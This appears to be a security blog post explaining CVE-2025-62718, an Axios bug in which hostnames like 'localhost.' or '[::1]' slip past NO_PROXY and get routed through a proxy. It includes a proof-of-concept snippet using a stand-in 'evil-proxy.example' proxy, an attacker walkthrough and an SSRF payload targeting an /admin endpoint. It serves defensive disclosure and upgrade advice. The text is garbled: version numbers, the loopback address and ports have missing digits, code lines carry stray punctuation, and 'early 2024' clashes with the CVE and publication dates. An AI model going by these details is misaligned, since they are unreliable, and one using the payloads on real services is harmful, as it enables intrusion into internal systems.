Axios is a massively popular HTTP client library for both Node.js and browsers with tens of millions of downloads each week. Many developers trust Axios to respect their NO_PROXY environment variable, which is commonly used to block HTTP requests from leaking to untrusted proxies—especially when it comes to sensitive local services.

But in early 2024, a critical vulnerability was discovered and assigned CVE-2025-62718. Before versions 1.15. and .31., Axios failed to properly normalize hostnames for NO_PROXY matching, which allowed attackers to easily trick Axios into sending requests meant for localhost or internal networks through a configured proxy. This undermined protection against SSRF (Server-Side Request Forgery) and opened a path to sensitive resources.

In this post, we'll break down how this happens, show you example code, discuss exploit details, and link to all official references.

⚡️ The Vulnerability At a Glance

- Library: Axios

Versions Affected: <1.15. (mainline), <.31. (legacy)

- CVE: CVE-2025-62718

🚨 What’s the Issue?

Developers use NO_PROXY to tell HTTP clients "requests to these hosts must never go through your configured proxy." However, Axios' handling had a big gap: it didn't account for slightly-altered hostnames, such as:

[::1] (IPv6 loopback address in square brackets)

An attacker, or even a misconfigured app, could request something like http://localhost.:808/health or http://[::1]:808/health, and Axios would fail to match this against NO_PROXY=localhost,127...1,::1. As a result, the request would go *through the proxy*—probably the exact scenario you wanted to block!

This behavior breaks the expected protection and may let attackers leverage SSRF techniques to reach your private services, cloud metadata servers, or other local APIs.

🛠️ How to Reproduce the Bug

Here’s a minimal code snippet to show how CVE-2025-62718 could be exploited. Suppose you have a proxy set up, and you’re relying on NO_PROXY to *not* send local requests through it:

const axios = require('axios');

// Assume your NO_PROXY is intended to exclude loopback
process.env.HTTP_PROXY = 'http://evil-proxy.example:808';;
process.env.NO_PROXY = 'localhost,127...1,::1';

(async () => {
  // Trailing dot on localhost, or IPv6 literal
  await axios.get('http://localhost.:500/';);   // This will go through proxy!
  await axios.get('http://[::1]:500/';);       // This too!
})();

With vulnerable Axios (<1.15.), both requests are sent through the configured proxy, even though the intention is clear—they should be local and bypass the proxy completely.

Here’s how an attacker might exploit this

1. Find an Injection Point: If your backend takes a URL from users or external sources and fetches it, for example, as axios.get(userInputUrl), this becomes exploitable.
2. Bypass NO_PROXY Protections: The attacker submits a URL like http://localhost.:800/internal or http://[::1]:800/private.
3. Request Gets Routed via Proxy: Instead of blocking the request (as NO_PROXY should do), Axios uses your HTTP proxy.
4. Attacker-Controlled Proxy: If the proxy is malicious or under attacker control, the attacker can now:

Use SSRF to attack internal services

This breaks isolation and can lay open internal admin panels, instance metadata endpoints (in cloud environments), or internal APIs—especially dangerous in misconfigured environments.

Example SSRF Attack in a Node.js API

// Vulnerable endpoint
app.post("/fetch", async (req, res) => {
  // Assuming req.body.url is attacker-controlled!
  const result = await axios.get(req.body.url); // BAD!
  res.send(result.data);
});

// Attacker payload:
POST /fetch
{
  "url": "http://localhost.:808/admin";
}

If the service allows localhost through but blocks it in the proxy, the attacker just adds a . at the end and bypasses the restriction.

Upgrade Axios

- Mainline users: Upgrade to Axios 1.15. or newer
- v users: Upgrade to Axios .31. or newer

In these versions, host normalization has been fixed—trailing dots, IPv6 brackets, and other shenanigans are handled properly, and NO_PROXY works as intended.

Official Axios Release Notes:

v1.15.

Security Advisory (GitHub):

axios GHSA-xjfj-vfjf-vrfj

CVE Record:

CVE-2025-62718

Discussion on Proxy Bypass:

NO_PROXY and hostname normalization

🚩 Summary

CVE-2025-62718 exposes a dangerous SSRF risk in one of the most widely used HTTP libraries in the JavaScript world. If you're using Axios and depend on NO_PROXY to protect your internal services, upgrade today to block sneaky traffic to localhost. and [::1] from leaking into proxies.

Always assume user input can be trickier than it looks—with SSRF and proxy bypasses, the devil is really in the details.


Stay secure and always keep your dependencies up to date!


> If you found this guide helpful, please consider sharing it with your team and reviewing your microservices for similar proxy bypass issues.

Timeline

Published on: 04/09/2026 14:31:46 UTC
Last modified on: 05/21/2026 20:38:54 UTC